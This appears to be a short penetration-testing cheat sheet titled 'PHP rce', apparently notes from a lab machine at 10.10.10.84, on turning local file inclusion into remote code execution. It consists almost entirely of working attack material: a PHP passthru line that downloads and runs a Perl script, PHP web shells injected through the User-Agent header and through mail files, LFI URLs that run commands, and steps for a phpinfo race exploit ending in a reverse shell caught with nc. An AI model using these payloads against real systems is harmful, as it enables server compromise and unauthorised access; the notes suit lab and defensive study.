PHP rce
Last updated
Was this helpful?
Last updated
Was this helpful?
Theres no wget
in BSD! So use fetch
<?php passthru("mkdir /tmp/temp/ && fetch -qo /tmp/temp/callme.pl && perl /tmp/temp/callme.pl");?>'
Burp inject php code in User-Agent User-Agent: <?php system($_REQUEST['hack']); ?>
Check logs at /var/log/httpd-access.log
Use LFI to RCE 10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&hack=uname
You have LFI and can view phpinfo.php. Upload file is turned on.
(Step 2) Modify payload to include pentest monkey's reverse shell between start and end
If script doesnt work check the comparison operator greater than
At line 203
At line 262
(Step 3) Update LFI script url (apply %00
null byte terminator if needed) - note the double percent variable is %%00
(Step 4) Start nc listener to catch reverse shell and run python script.
python phpinfolfi.py 10.10.10.84 80 100
See SMTP cheatsheet, send email with file below:
<?php echo system($_REQUEST['hack']); ?>
Using burpsuite, execute RCE using the LFI and commands
../var/mail/emailUserName..........&hack=whoami
(step 1) wget